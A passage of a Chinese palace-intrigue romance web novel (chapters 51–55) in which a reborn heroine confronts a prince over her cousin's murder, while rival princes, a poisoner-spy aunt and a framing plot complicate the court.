姜姝宁闻言,怒火中烧: “二叔,二婶,我从未指使他人杀害二哥!若是我做的,甘愿受官府处置!你们莫要趁火打劫,逼迫父亲!” 姜二爷冷笑一声:“姝宁,你手段通天,连宫中几位皇子都为你倾倒,买凶杀人的证据,自然有人为你掩盖!这天下最大的莫过于皇权,你有什么坏事做不成的?” 姜姝宁正欲反驳,姜瑶真却假惺惺劝道:“姐姐,少说两句吧。二叔二婶痛失爱子,已经够可怜了,你就不要再说这些话刺激他们了!” 她这话无异于火上浇油,姜二叔愈发嚣张:“瑶真说得对!你就是想逼死我们,好掩盖你买凶杀人的罪行!” 姜丞相沉声道:“二弟,你随我来。父母留下的家业,我现在就分你一半!” 姜二爷脸上的怨愤这才稍稍平息。 看着姜丞相和姜二爷一同走进书房,姜姝宁心如刀割。 她没有做过的事,为什么要父亲为她承担后果? 她对凌芜吩咐道:“凌芜,备车,我们进宫!” “是,大小姐!” 她要去找萧凌川当面问个清楚,这件事是否是他所为! 第51章 她竟这么恨他! 第五十一章 她竟这么恨他! 听说姜姝宁进宫,萧凌川强撑着病体,唤内侍更衣。 宝蓝色的锦服衬得他肌肤胜雪,眉目如画。 七皇子见状,不禁打趣道:“四哥如此精心装扮,莫不是为了嫂嫂?你身子尚未痊愈,不如卧床静养,说不定嫂嫂见了反而心生怜惜,日后会多来探望你。” 萧凌川斜睨他一眼:“多嘴。” 前世,他曾问姜姝宁倾心于他什么。 她羞赧低语:“王爷于妾身有救命之恩,又生得这般俊美无俦,妾身自然倾心。” 彼时,他对此回答颇为不满。 若是当日换作旁人救了她,她是否也会以身相许,嫁给他人为妻? 至于她贪恋他容貌的说法,更让他耿耿于怀。 竟如此肤浅! 而如今,他只盼她能因这出挑的容貌,多看他一眼,一眼足矣。 姜姝宁怒气冲冲地闯入景和宫,不等萧凌川开口,便寒声质问:“四皇子,姜天赐是你杀的吗?” 萧凌川剑眉一挑,似有讶异:“姜天赐死了?” “他死了!死在一条僻静巷子里,被人一剑封喉,干净利落,出手的必然是训练有素的杀手,寻常人家哪请得起这样的高手!” 萧凌川脸色骤然阴沉下来:“你怀疑是我?姜姝宁,我何必杀他?” 姜姝宁逼近一步,眉眼间尽是嘲讽:“殿下何必明知故问!你故意将把柄落在三皇子手中,不就是为了让所有皇子都以为我蛇蝎心肠、心机歹毒?如今又杀了姜天赐,难道不是为了同样的目的?” 一旁的七皇子听得胆战心惊。 天哪,这未来四嫂竟如此聪慧,什么都瞒不过她! 这下可糟了! “嫂嫂,事情并非如此,四哥他实有苦衷……” 萧凌川忽然冷声打断,面色阴鸷:“七弟,你先下去,我有话要单独和姜姑娘说。” 七皇子无奈,只得悻悻然退下。 看来,找个太过聪慧的女子也并非幸事,所有心思都被她一眼看穿,实在令人无地自容! 七皇子离开后,暖阁里只剩下他们两人。 萧凌川在她眼中看到了怒意和指责。 曾经,她那双如水的眼眸看向他时,满满的都是爱意和柔情。 是什么时候开始变的呢? “姜天赐不是我杀的。”他深吸了一口气,强压下心口翻涌的情绪,“我承认,给他下套并故意留下破绽,让三皇子借此在父皇面前告状,是我做的。你说的没错,我不想你嫁给任何人,尤其不想你嫁给五弟。” 她看向萧怀瑾的眼神,分明充满了欣赏和倾慕,那曾经,分明是看他的目光。 他曾被她如此深爱,比任何人都知道她的好,又怎么可能甘心看着她嫁给别人? “我已经承诺你不会嫁给五皇子……” “承诺算什么?感情的事瞬息万变。”他眸色幽深,语气中带着一丝苦涩,“就算你现在说不嫁,可若有一日 你对他动了心呢?你能控制自己爱人的能力吗?” 姜姝宁一时语塞。 如果她有这样的能力,前世又怎会被他伤得遍体鳞伤? 她恨恨地咬着牙:“所以你故意毁我名声,让皇子们都对我避之不及?四皇子,你好卑鄙!” 萧凌川垂下眼帘:“你此番进宫,就是为了兴师问罪?我早就说过,你想入皇家,我可以……” “不必!”姜姝宁冷笑一声,语气决绝,“就算我终身不嫁,也绝不会嫁给你!” 否则,前世的苦,她岂不都白受了? 萧凌川从她那张小脸上看到了决绝。 袖中拳头紧握,骨节泛白。 她竟这么恨他! 也是,前世她为了离开他,不惜喝下毒药,用最决绝的方式离开他。 锥心之痛从胸口蔓延开来,萧凌川捂住胸口,一口浊血喷涌而出,染红了华贵的锦袍。 姜姝宁被这突如其来的变故惊得一怔,下意识地伸手去扶他:“殿下,你没事吧?” “扶我……去床榻。”萧凌川的声音带着一丝虚弱,语气却有些强硬。 姜姝宁迟疑片刻,正欲唤人,却被他一把抓住纤细的肩膀,几乎不容拒绝地将她带到床边。 他倚着床沿坐下,动作艰难地解开宝蓝色锦服的盘扣。 姜姝宁见状,下意识地想要退开,却被他一声低唤叫住:“过来,帮我上药。” “殿下身边难道无人伺候吗?”她语气冷淡,脚步却不由自主地停了下来,空气中淡淡的血腥味,让她心口一紧。 “有人伺候,但我想让你来。”萧凌川掀起眼帘,眸光幽深,“毕竟,这伤,是因你而起。” “谁让你……”姜姝宁气恼地转头瞪视他,却在触及他背上触目惊心的伤痕时,所有的话语都哽在了喉间。 他背上的纱布已经被血水浸湿,纱布脱落的地方伤口看起来溃烂不堪,竟比姜天泽的伤还要重。 “还愣着做什么?”萧凌川无力地抬眸,语气中带着一丝自嘲,“要等我血尽而亡,你才肯施以援手吗?” 姜姝宁咬了咬唇,拿起床边的膏药,在他身侧坐下。 她动作轻柔地解开沾染血污的纱布,小心翼翼地为他上药,语气中带着一丝不易察觉的关切:“既然伤得如此重,为何不卧床静养?” 还穿得如此华贵来见她,不知道的还以为他是在炫耀逞强。 萧凌川没有作答,只是静静地闭上双眼。 他胸口本就有旧疾,前几日受刑,身子已是强弩之末,再被她一激,便吐血不止。 如今,全凭着一股意志力强撑着,不让自己倒下。 只是……他也知道,自己撑不了多久了。 姜姝宁为他拭净背上残留的药膏,换上干净的纱布。 萧凌川自始至终都维持着最初的坐姿,一动不动。 她这才察觉到异样——他双眸紧闭,脸色惨白如纸,气息微弱得几不可闻。 糟了!他晕过去了! 心下一惊,姜姝宁猛地起身,疾步奔向门外,高声呼唤七皇子。 七皇子闻声赶来,见此情形亦是大惊失色,连忙传唤太医。 太医诊脉过后,神情凝重:“四皇子殿下本就因受刑导致气血亏损,加之方才怒火攻心,气血翻涌,这才晕厥。” 姜姝宁闻言,心中一凛。 前世她深爱着萧凌川,跟他说话温声细语,从未像今日这般对他大呼小叫。 她竟不知,他是如此不能受气。 他究竟因她哪句话怒火攻心到这种地步? 七皇子望着躺在床上、面色苍白的萧凌川,又看了看姜姝宁,忍不住开口劝慰道:“嫂嫂,我知道你还在生四哥的气。他这次这么做,实属情非得已……我知道他损了你名声,手段确实卑劣了些,可他也是因为心悦于你,想将你据为己有,这也是人之常情……” 姜姝宁黛眉紧蹙,越听越觉得不对劲。 “这些,都是四皇子告诉你的?” 七皇子毫不犹豫地点头:“千真万确!” 虽然萧凌川没有明说,但也八 九不离十。 姜姝宁望着七皇子,目光中流露出几分怜悯:“七皇子殿下,你还是太年轻了。” 所以才会轻易被萧凌川的花言巧语蒙骗。 他那样的人,眼中只有权势和利益,又怎会真心喜欢任何人? 不过是打着“心悦”的幌子,行卑鄙无耻之实罢了。 七皇子满头雾水:“嫂嫂,我们不是同岁吗?” 第52章 十七少年的告白 第五十二章 十七少年的告白 “我们只是看起来同岁而已。”姜姝宁语气淡淡。 这具十六岁的少女躯壳下,藏着的是一个来自前世、历经沧桑的二十九岁灵魂。 要比七皇子年长得多。 七皇子却误以为她在嘲讽自己年少不经事,脸颊顿时涨得通红。 这嫂嫂,牙尖嘴利,当真厉害! 他现在充分怀疑,他四哥是被嫂嫂给气吐血的! “殿下若无旁的事,臣女便先行告退了。”姜姝宁微微一福,转身欲走。 “嫂嫂且慢!”七皇子连忙唤住她。 “七皇子还有何吩咐?”姜姝宁停步,回眸。 “四哥如今身子虚弱,还望嫂嫂能留下来,为他煲些滋补汤水,助他早日康复。”姜姝宁:“……” 还真把她当厨娘了! 七皇子看出她眼中的抗拒,故意道:“怎么?嫂嫂不愿?可怜四哥对你一片痴心,此次行事不仅受了责罚,还惹恼了父皇,如今竟连一碗汤都讨不得,真是可怜啊!不如我替他求一道圣旨,让嫂嫂直接成为我的四皇嫂,如何?” “七皇子慎言!”姜姝宁脸色微变,“臣女这就去便是。” 这七皇子年纪虽小,却深谙如何拿捏人心,想来是在萧凌川身边耳濡目染,被带坏了! 望着姜姝宁走向后厨的背影,七皇子得意地勾了勾唇角。 笑话他年轻?如今可知年轻的厉害了? 姜姝宁心中憋着一口气,亲手熬制了一锅补气益血的肉汤,这才得以离开景和宫。 她本是来兴师问罪的,没想到不仅为萧凌川上了药,还为他洗手作羹汤! 她在心中长叹一声:这都叫什么事啊! 正自沉思,一个熟悉的身影迎面而来:“姜姑娘!” 姜姝宁抬眸,只见萧怀瑾那一袭月牙白锦袍朝她走来,他气质清风朗月般,一如既往的温润如玉。 “臣女见过五皇子殿下。”姜姝宁敛衽行礼。 萧怀瑾眉眼含笑:“真的是你!许久未见,姜姑娘别来无恙?” 别来无恙?她如何能无恙? 姜天赐的过继风波,以及他离奇的死亡,桩桩件件都让她焦头烂额。 然而,面对萧怀瑾关切的目光,她只能淡淡一笑:“臣女一切安好,谢殿下挂念。” “姜姑娘……”萧怀瑾上前一步,目光灼灼,“你已经许久未曾进宫教导荣华射箭了,不知你……” “殿下!”姜姝宁打断他的话,歉意地解释道,“臣女近日府中事务繁忙,实在分 身乏术。不过臣女已经委托好友夏嫣代为教导荣华公主,她的箭术还在臣女之上,公主殿下定能学有所成。” 萧凌川受罚一事虽未公开,却也瞒不过荣贵妃。 想来,荣贵妃也不会愿意见到她这个设计兄长、魅惑皇子的“祸水”。 听到这话,萧怀瑾的神色微微一僵,眼底闪过一抹浓浓的失落。 “姜姑娘就这般……不愿见到我吗?”他的声音低沉,带着一丝不易察觉的苦涩。 姜姝宁心下一惊,连忙解释:“殿下误会了,臣女并非不愿……” 她的话还未说完,便看到萧怀瑾的眼眶微微泛红,似乎在极力压抑着某种情绪。 “四哥的事,我听闻了。”他深吸一口气,垂下眼眸,语气中带着一丝自嘲,“姜姑娘遇到那样的困境,选择向四哥求助而非我,我就该明白,在姜姑娘心中,我终究是不如四哥的。是我不自量力,妄图得到姜姑娘的青睐……” 姜姝宁闻言,心中掀起惊涛骇浪。 萧怀瑾这番话,究竟是何意?难道他对自己…… “……姜姑娘,我尊重你的选择。我只有一个请求,你能否不要再这般躲着我?”萧怀瑾目光热切地看着她,带着小心翼翼的期盼,“我没有别的意思,只想和你做朋友。我发誓,绝不会破坏你和四哥的感情。” 他语气如此真挚恳切,令姜姝宁心中又是感动又是愧疚。 眼前这个本该璀璨如星辰般耀眼的男子,在她面前却变得如此小心谨慎,甚至带着几分自卑。 萧怀瑾不过十七岁的年纪,还是个单纯的少年,不懂得掩饰自己的内心。 他说的每一个字,都发自肺腑,真情流露。 面对这样一颗赤诚之心,她如何能不动容? “殿下,臣女和四皇子并非您想的那样。事情有些复杂,还请殿下不要妄自菲薄。”她犹豫片刻,终于鼓起勇气说道,“其实,臣女真正心悦之人,是殿下!” “真的吗?”萧怀瑾闻言,惊喜交加,双颊染上薄红,眼眸却亮如星辰,“姜姑娘不是在哄我开心吧?” 当然不是。 经历了前世十年冷落孤寂的婚姻,姜姝宁渴望的是浓情蜜意,是被人呵护和善待。 而这世上,或许只有萧怀瑾这般温润如玉的男子,才能给她这样的幸福。 “千真万确!”姜姝宁苦笑一声,“只是臣女如今声名狼藉,怕是配不上殿下。殿下还是另择佳偶吧,莫要再在臣女身上浪费时间了。” “不,此事我与母妃商议过,母妃认为你定是逼不得已,才出此下策。”萧怀瑾语气坚定,“你兄长骤然离世,你作为家中长女,自然是希望为父母寻一位可靠的继承人。若非你堂兄品行不佳,你也不会向四哥求助。” “此事四哥也有责任,他可以寻你堂兄的错处,但不该用这种陷害的手段。即便理由正当,行事也未免太过卑劣。说到底,你也是受了四哥的牵连。” 他语气诚恳。 这番话令姜姝宁心中倍感温暖。 萧怀瑾年纪虽轻,却能如此通透地看待事情,实属难得。 其实萧凌川又何尝不知这样做不妥? 他故意用这种方式,让众皇子知晓她与堂兄不睦,以至于此事传到皇上耳中,从而遭到处罚。 这种损人不利己的事,也只有萧凌川做得出来! “多谢殿下信任。只是,如今此事愈发复杂了。”姜姝宁犹豫片刻,缓缓道,“我堂兄今日被人发现死于巷陌之中,一剑封喉。如今此案尚在审理,可我二叔二婶一口咬定是臣女买凶杀人。” “什么?死了?”萧怀瑾大惊失色,“难道又是四哥所为?” “我此次进宫,正是为了问他此事。他说不是他做的。” 萧怀瑾目光灼灼地注视着她:“四哥说什么,你都信吗?” “并非臣女尽信他,只是他没必要骗我。”姜姝宁语气平静。 方才她太过心急,如今冷静下来细想,萧凌川的目的已经达到,没必要多此一举杀了姜天赐。 况且大邺律法森严,天子犯法与庶民同罪。 若被大理寺查出真是他买凶杀了姜天赐,就不是杖刑这么简单了。 如此巨大的风险,谨慎如萧凌川,想来不会轻易冒险的。 “你堂兄的死,需要我帮忙查探吗?”萧怀瑾目光热切,“我外祖经商多年,人脉甚广,或许能帮上忙。” “多谢殿下好意,臣女心领了。此事还是交给大理寺处置吧。” 姜天赐之死疑点重重,若是再牵扯到皇室,她便真的百口莫辩了。 姜姝宁的拒绝让萧怀瑾脸上浮现出明显的失望之色。 果然,她遇到事情,只会向四哥求助。 第53章 没有和离,只有丧偶! 第五十三章 没有和离,只有丧偶! 姜姝宁怕萧怀瑾多想,连忙解释道:“臣女并非不信任殿下的能力,只是臣女的堂兄之死太过蹊跷,若是殿下插手此事,将来被有心之人查出来,臣女怕是会更加百口莫辩。” 萧怀瑾闻言,神色稍霁:“是我唐突了。” 两人又交谈片刻,这才依依不舍地作别。 不远处,一名内侍将这一幕尽收眼底,转身匆匆朝麟阁宫而去。 “姜姑娘与五弟?”三皇子萧修湛闻言,嘴角勾起一抹意味深长的笑容,“这姜家嫡女还真是个祸水,不仅勾搭了四弟,如今又缠上了五弟。啧啧,莫非她是妖精转世?就连本皇子也险些被她迷惑。” 那内侍连忙奉承道:“殿下慧眼如炬,妖魔鬼怪岂能近身?” “既然她是妖魔鬼怪,自然要让她去祸害其他皇子,能祸害一个是一个!”萧修湛转头吩咐身旁的随从,“去查探此事是否与四弟有关。若是有关,立即将证据呈给父皇;若是无关……” 他冷笑一声,“那便伪造一份证据,也要将此事与四弟牵扯上!” “是,殿下!”那随从领命而去。 内侍在一旁谄媚道:“殿下英明!此计定能将四皇子彻底扳倒!” “一个南月贱种,也敢与本皇子争夺父皇的宠爱,简直是痴心妄想!”萧修湛眼底闪过一丝阴狠之色。 —— 景和宫中,萧凌川正被梦魇侵扰。 梦境中,他又回到了前世与姜姝宁成婚的第三个月。 那日,她忽然低声问他:“王爷是不是不喜欢妾身?” 他目光停留在她微微颤动的红唇上,脑海中浮现昨夜她在他身下承 欢哭泣的模样,心头顿时一阵燥热,但问出的话却冷硬如冰:“你问这个做什么?” 姜姝宁垂下眼帘,掩饰眼中翻腾的情绪,轻声道:“妾身只是觉得,若王爷不喜欢,可以赐妾身一纸和离书。妾身往后定不再纠缠王爷。” 这话顿时点燃了他的怒火。 他霍然握住她的手腕,将她拽至面前,目光冷若冰霜:“当初不是你费尽心思要嫁给本王的吗?怎么,成婚不过三月便受不了了?告诉你,这婚是你求来的,你不要也得要!本王这里没有和离,只有丧偶!” 她听到这话,眼眶霎时泛红,瑟瑟发抖。 从那以后,她再也没在他面前提过和离之事,他也以为她打消了离开的念头。 谁知,她竟以如此决绝的方式,离他而去。 她死的那日吐了很多血,止都止不住,太医来时她已经在他怀里断了气。 太医说,她体内的毒很特别,需要连续服用一年以上,才能将毒素累积到毒发的程度。 哪怕一日不服用,她都不至于毒发身亡。 没想到为了离开他,她竟如此决绝。 醒来时,胸口仍然隐隐作痛,分不清是伤口在痛,还是心痛。 “四哥,你总算醒了,方才真是吓死我了!”七皇子走上前来,一脸无奈,“你都伤成这样了,怎么还死撑着换衣衫见嫂嫂?偶尔示弱一下会死吗?” 萧凌川这才发现,姜姝宁不在殿内。 “姜姑娘呢?” “她走了。”七皇子笑嘻嘻地邀功,“四哥放心,我没让她空手离开。我让她在后厨熬了一碗补血汤,现在还热着,我叫宫人端来,你赶紧喝!” 萧凌川眉头紧锁:“她怎么就走了?她没让我帮她查她堂兄被杀的真相吗?” “倒没提这事!你晕过去后,她便打算离开,是我硬要她给你熬汤才放她走的。” “……这些没用的事上,你倒很有办法。” 七皇子大惊:“四哥,你是在怪我吗?” 萧凌川转头对凌风道:“去查一下姜天赐的死因,看看到底是谁下的毒手!” “是,殿下!”凌风领命而去。 七皇子却有些不安:“四哥,父皇才刚处罚你陷害姜天赐的事情,如今他忽然遭暗杀,你若去查,被有心之人借此大做文章,说姜天赐的死与你有关,到时候你就真是跳进黄河也洗不清了!” “若我不去查,又有谁能帮她?”萧凌川神色沉郁,“她能依靠的人本就不多。” “四哥,你如此帮她,她却不愿嫁你,将来岂不便宜了其他男人?你甘心吗?” 萧凌川想到前世那个梦境,心头再度涌起剧痛。 “自然不甘心。但也不能操之过急。”他沉声道,“在彻底拿捏住她的软肋之前,不能太强硬。” 前世她为了离开他,甚至狠心抛下父母,独自赴黄泉,可见她的父母不足以束缚她。 今生若要将她永久束缚在身边,必须找到能一辈子牵制她的人或事。 在此之前,他不能暴露一丝一毫的野心,以免吓跑了她。 —— 姜姝宁在马车内不由自主地打了个寒颤。 凌芜关切地问:“大小姐,是不是太冷了?” 姜姝宁摇头:“我也不知道,只是忽然觉得一阵恶寒。” 好像被什么可怕的野兽盯上,浑身不适,毛骨悚然。 她一下马车,便见管家恭候在门口。 “大小姐,您终于回来了。老爷在书房等您。” 姜姝宁点头,由凌芜陪同前往书房。 踏入书房,关上房门的那一刻,姜姝宁扑通一声跪在姜丞相面前:“父亲,二哥的死绝非女儿所为,请父亲相信女儿。” “傻孩子,父亲知道不是你做的,快起来吧。”姜丞相急忙上前将她扶起。 姜姝宁泪眼婆娑:“父亲,您真的相信女儿?” “自然。你是我的女儿,从小心地善良,就算再讨厌天赐,也绝不可能对他下毒手。你二叔二婶丧子心痛,胡言乱语,你万万不可放在心上。”姜丞相叹道,“今日我已按你二叔的要求,将家业分一半给他,若能安抚他的丧子之痛,也算值得。” 听到父亲这样说,姜姝宁愈发委屈,眼泪夺眶而出:“女儿已经让凌芜找人帮忙,去徐州搜寻二哥赌博的证据。其实女儿只是想阻止二哥过继到相府,从未想过害他性命!” 姜丞相蹙眉:“这证据难道是你找来的?” “什么证据?”姜姝宁一头雾水。 姜丞相将她拉至桌旁,取出一张纸递与她:“这是几日前一个夜晚突然出现在我书桌上的,你二哥去年在徐州赌坊欠下巨额赌债,被逼写下的欠条。为慎重起见,我派亲信前往徐州,证实欠条的确属实。天赐嗜赌成性,实不宜继承相府,我本打算今日通知你二叔二婶,没想到天赐忽遭横祸。” 姜姝宁盯着面前的欠条,茫然摇头:“如此重要的证据,若是凌芜帮我找到,她不会只字不提。这肯定不是她找到的。” “那会是谁呢?”姜丞相沉声问道。 姜姝宁脑海中浮现出一个名字,她不禁攥紧掌心。 不,不可能。 如果是他早就有这个证据,又何必大费周章设计陷害姜天赐,还让三皇子抓住把柄? 可除了他,又有谁能做到? 萧凌川,真是越来越让她捉摸不透了。 第54章 南月第一毒师 第五十四章 南月第一毒师 姜瑶真这几日惴惴不安,趁人不备溜出相府,直奔来福酒楼。 刚踏入雅间,见了姨娘,她便哽咽着道:“姨娘,快去找四皇子求解药,你快看我的手!” 她掀开袖子,露出手臂。 姨娘见状大惊失色,她手臂上那原本凝脂般的肌肤竟已糜烂不堪。 “是因凝香丸所致!”她急促地比划。 这凝香丸能令人 体散发幽香,是南月女支女常用来取悦客的药物。 虽是药三分毒,但单独服用,不至于引发肌肤糜烂。 显然是与萧凌川所给毒药的相互作用,却催发了毒性。 姜瑶真脸色煞白。 为了赢得三皇子萧修湛的青睐,她上次见他前故意服用凝香丸,让汗液散发出奇香,勾起他的兴趣。 若这凝香丸会加速身上的毒性发作,往后她又如何继续服用? “我不管,我要去找四皇子,求他给我解药!” “不行!”姨娘神色凝重,用手不停比划,“一个月的时限未至,你突然去求解药,必会引起怀疑。若是被他查出点什么来,我们就麻烦了!” 这四皇子生性多疑,又多智近妖,必须得小心应对。 “那我该怎么办?总不能眼睁睁看着皮肤腐烂成这样!” 姨娘比划安抚她:“你先回府,我会想办法解决。” 夜色沉沉,姜三夫人在睡梦中被一阵奇特的哨音惊醒。 她猛然睁眼,瞥了一眼身旁沉睡的姜三爷,见他熟眠,这才轻手轻脚地起身穿衣,悄然走出房间。 哨声在府外。 无奈之下,姜三夫人只能用软筋散放倒了几个守门的护院,偷偷溜出相府。 在雪地里,她见到一袭黑衣的女子。 这女子正是姜家大房中那个本该死于难产的姨娘。 “为何把我引来府外?有事在府里不能说吗?”姜三夫人略显不悦,紧了紧衣衫。 她并非习武之人,这么冷的天在大半夜被叫醒,能有什么好脾气? 姨娘飞快打手势:“府里有练家子,我怕被盯上!” 姜三夫人眉心紧蹙:“谁?” 什么样的人竟让她如此忌惮? 在姨娘一番比划后,姜三夫人略略有些吃惊。 姜姝宁身边的婢女凌芜,竟是让姨娘也生畏的练家子。 有这般身手的人,为何甘心当一个婢女? 难道,是被他人有意安排到姜姝宁身边的? 姜三夫人敛眸,语气冷然:“深夜相唤,究竟为何?” “可有可以解皮肤溃烂之毒的药物?”姨娘急促比划问道。 姜三夫人冷冷一笑:“我只会制毒,不解毒药。解药没有,倒有以毒攻毒的毒药,你要不要?” 姨娘脸色沉下,转身便去,步伐干脆。 望着她去的背影,姜三夫人冷哼一声。 还真把自己当主子了! 若非有交易在身,她断不会与其来往。 姨娘从姜三夫人这里拿不到解药,又不忍心眼睁睁看着女儿忍受皮肉溃烂之苦,只能深夜潜入皇宫,打算萧凌川讨要解药。 然而还没抵达景和宫,就被萧凌川的人拦住,一番较量过后,她被押到萧凌川面前。 萧凌川像是早料到她回来,目若寒星,冷睨着她:“姨娘深夜前来,有何贵干?”姨娘从袖中颤巍巍地掏出一张纸条,递予他。 凌风接过,呈至萧凌川眼前,纸条上只有五个字:“求殿下赐解药。” “一个月尚未到,不必给解药。你若急需,只有一个原因。”萧凌川眸中精光一闪,“你们服用了其他带毒之药。说吧,那个协助你们制毒的人如今在何处?” 姨娘心中一凛,慌忙挣扎,然而未及动作,一把锋利的剑便逼至她颈间,寒意逼人,令她不禁打了个冷颤。 她满目惊恐地望向萧凌川,只见他眉目平静,冷意凌然。 “我母亲进宫时,身边带着两个贴身婢女,一个擅武艺,另一个善制毒。看来你便是那位武艺高强的婢女,至于那位号称南月第一毒师的妙手,你定然晓得她的行踪,对吗?” 面对萧凌川波澜不惊的注视,姨娘只觉心底发麻。 他是如何知晓的? 他母亲殁时,他尚年幼,就算记忆过人,他母亲亦不可能将这些隐秘之事告诉他! 萧凌川眼中冷光闪烁,见姨娘不应,耐心告罄:“再不吐实,我便杀了你!一个不忠心的属下,留着有何用?” 姨娘惊恐万状,仓促比划,慌忙表示愿告知那人的藏身之处。 萧凌川这才懒懒地收剑入鞘,冷声吩咐凌风:“随她去找那南月毒师,若遇不配合,便当场杀了。至于她女儿的解药,不必再给,让她因毒浑身溃烂而死!” 姨娘闻言,脸上惊恐愈增。 这个四皇子,究竟为何这般狠绝? “是,殿下。”凌风将姨娘往前一推,语气如冰,“还不快带路?” 无奈之下,姨娘硬着头皮地走了出去,引凌风至相府。 凌风眉头微蹙:“此人在相府?” 姨娘点头,指向西院。 凌风曾替萧凌川来相府传信数次,自是知晓西院住的乃姜家三房。 略作犹豫后,他问:“是姜三夫人?” 姨娘微微颔首。 惊愕袭击凌风的心头。 相府中竟隐匿了两个南月细作,若有朝一日被皇帝发现,相府上下还能活命吗? 凌风掏出解药,随手抛给姨娘,旋即掉头迈向皇宫。 “南月毒师,竟是姜家三夫人?”萧凌川眉心微蹙,语气中带着一丝难以置信。 前世苦寻不得的人,竟藏身于姜家。 这南月细作,为何对姜家如此执着? “殿下,是否要将她缉拿?”凌风请示道。 “此人精于制毒,你与凌芜联手也未必是她的对手。”萧凌川眸色深沉,“暂且让凌芜暗中监视,摸清她的底细,再作计较。” “是,殿下!”凌风正要退下,却又被萧凌川唤住。 “让凌芜提醒姜姑娘,务必远离那南月毒师,切莫被其算计!” “属下遵命!”凌风领命而去。 待凌风离去,萧凌川眼中闪过一丝暗芒。 他必须尽快设法,将这南月毒师收为己用。 否则,如此危险的人物潜伏在姜姝宁身边,他如何能安心? 第55章 栽赃陷害 第五十五章 栽赃陷害 姜瑶真接过姨娘递来的解药,迫不及待地吞咽下去。 不到半盏茶的功夫,她身上溃烂的伤口便逐渐愈合。 她欣喜之余,一股恼怒油然而生。 “每月都要向四皇子讨要解药,何时才能摆脱这受制于人的境地?长此以往,并非良策,需得想个法子以绝后患才行!” 姨娘以手势示意:“我已请南月毒师为我们研制一种罕见的毒药,待时机成熟,便让四皇子服下。等他毒发之时,再逼他交出解药。” “南月毒师?”姜瑶真心领神会,唇角勾起一抹阴冷的笑意,“娘亲先前不是说,她只擅制毒,不会解毒的吗?灯四皇子中了毒,我们就佯装和他做交换,待我们拿到解药,便让他毒发身亡!” 母女二人相视一笑,眼中皆是阴鸷狠厉。 姜瑶真忽而想起一事,问道:“娘,姜天赐已死,听闻是训练有素的杀手所为。你说,会不会是四皇子派人干的?” 姨娘神色阴沉,有些欲言又止。 姜瑶真察觉到异样,追问道:“娘,你为什么不说话?可是有事瞒我?” 姨娘缓缓点头,用手势比划道:“姜天赐,是我杀的。” “你杀的?为何?”姜瑶真惊愕不已。 姨娘神色凝重,比划道:“你先前不是一直想知道南月毒师是何方神圣吗?如今我便告诉你。她,便是你的三婶。是她要我杀了姜天赐,作为交换,她会为我们研制毒药。” “什么?三婶?”姜瑶真满脸难以置信。 那个出身风尘、性格懦弱的三婶,竟是传说中赫赫有名的南月毒师? 这相府之中,究竟还隐藏着多少她不为人知的秘密? —— 大理寺受理了姜天赐谋杀一案,案发现场遗留的证物悉数被带回,由大理寺卿亲自审理,毕竟此案牵涉相府与皇室,非同小可。 谁料次日,竟在证物中发现一块令牌。 大理寺卿拿起令牌,饶有兴致地细细端详,赫然发现上面刻着一个“肆”字。 皇宫之中,伺候皇子们的宫人出入皆需凭令牌,而令牌上则刻有对应数字以区分皇子所属。 例如,三皇子 宫人的令牌上刻“参”字,六皇子 宫人的令牌则刻“陆”字。 如此看来,这枚刻着“肆”字的令牌,分明属于四皇子 宫中之人。 大理寺卿冷笑一声,这凭空出现的令牌,其中含义耐人寻味。 一来,说明大理寺内部恐有他人安插的眼线;二来,则表明有人蓄意陷害四皇子,欲将其置于死地。 这桩栽赃嫁祸的阴谋,第一个知晓的并非皇帝,而是荣贵妃。 而荣贵妃在得知此事后,也并未立即禀报皇帝,而是第一时间告知了自己的儿子——萧怀瑾。 “在证物中发现四哥宫里的令牌?”萧怀瑾显然有些意外。 “正是。外祖父想问问你的意思,这令牌究竟该当作证物,还是栽赃之物?” 荣贵妃目不转睛地看着萧怀瑾。 这个气质温润的儿子,丝毫没有商人家族的市侩与浮躁,举手投足间皆是皇家气度,不疾不徐,清风朗月般令人心安。 无论是她,还是整个崔家,都以他为荣。 而如今,也是时候考验他的决断了。 萧怀瑾略作沉吟,缓缓道:“既然外祖父已知晓是有人故意栽赃陷害四哥,那这令牌自然便是栽赃之物。有人蓄意陷害,正说明姜天赐之死与四哥并无关联。” 荣贵妃闻言,欣慰一笑:“我儿果然光明磊落,母妃与你外祖父都甚感欣慰。看来比起你三哥,你更倾向于支持你四哥了。” 崔家并非不站队,而是他们只效忠于帝王,因此大部分时间都在静观其变,寻找最值得追随之人。 萧怀瑾却摇了摇头:“母妃此言差矣,儿臣并非想要支持四哥,只是不愿他蒙受不白之冤。先前四哥曾帮姜姑娘给姜天赐设套,若四哥真有杀害姜天赐的嫌疑,姜姑娘必然会被牵连其中,届时众人定会以为是姜姑娘指使四哥杀害了自己的堂兄。儿臣不愿姜姑娘因此受人非议,更不愿她欠下四哥人情。” 荣贵妃无奈地叹了口气:“原来瑾儿你心中挂念的并非这天下未来的主宰,而是姜家姑娘啊!” 萧怀瑾脸上浮起一丝薄红,低声道:“母妃,莫要再取笑儿臣了。” “罢了,既然你不想姜姑娘卷入此事,那母妃便依你之意回复你外祖父,让他给大理寺卿一个暗示。届时,大理寺卿自会将此事禀报陛下,你四哥不日便可洗清嫌疑,姜姑娘亦不会受此牵连。” “多谢母妃!”萧怀瑾拱手行礼,心中一块石头落了地。 大理寺卿很快便将证物中凭空出现景和宫令牌一事禀报给了皇帝。 皇帝龙颜大怒,下令彻查大理寺所有在职人员,誓要揪出栽赃陷害之人。 萧凌川的嫌疑也因此得以洗清。 皇帝更是当他的面承诺:“竟有人胆敢在朕的眼皮子底下陷害皇子!你放心,朕定会彻查此事,给你一个交代!” “谢父皇!”萧凌川恭敬领旨。 此事传到萧修湛耳中,他顿时勃然大怒。 他召来心腹,怒斥道:“是谁让你在证物中放入四弟宫人令牌的?如此拙劣的陷害之计,谁会相信?你是猪脑子吗?怎会想出如此愚蠢的法子?” 心腹一脸茫然:“殿下,这令牌并非我等放入!” “不是你们,那会是谁?”萧修湛百思不得其解。 在这皇宫之中,除了他,还有谁会如此处心积虑地陷害萧凌川? 他越想越气,本想陷害萧凌川,反倒让他成了受害者,更得父皇垂怜,简直是偷鸡不成蚀把米! 景和宫内,七皇子与萧凌川对饮,举杯笑道:“四哥,还是你这招棋高啊!抢在三哥陷害你之前,先以拙劣的方式陷害自己。如今父皇彻查大理寺,三哥想再安插人手进去都难了!你这是走三哥的路,让三哥无路可走!” 萧凌川轻抿一口酒,神色淡然:“杀害姜天赐的真凶,可有线索了?” 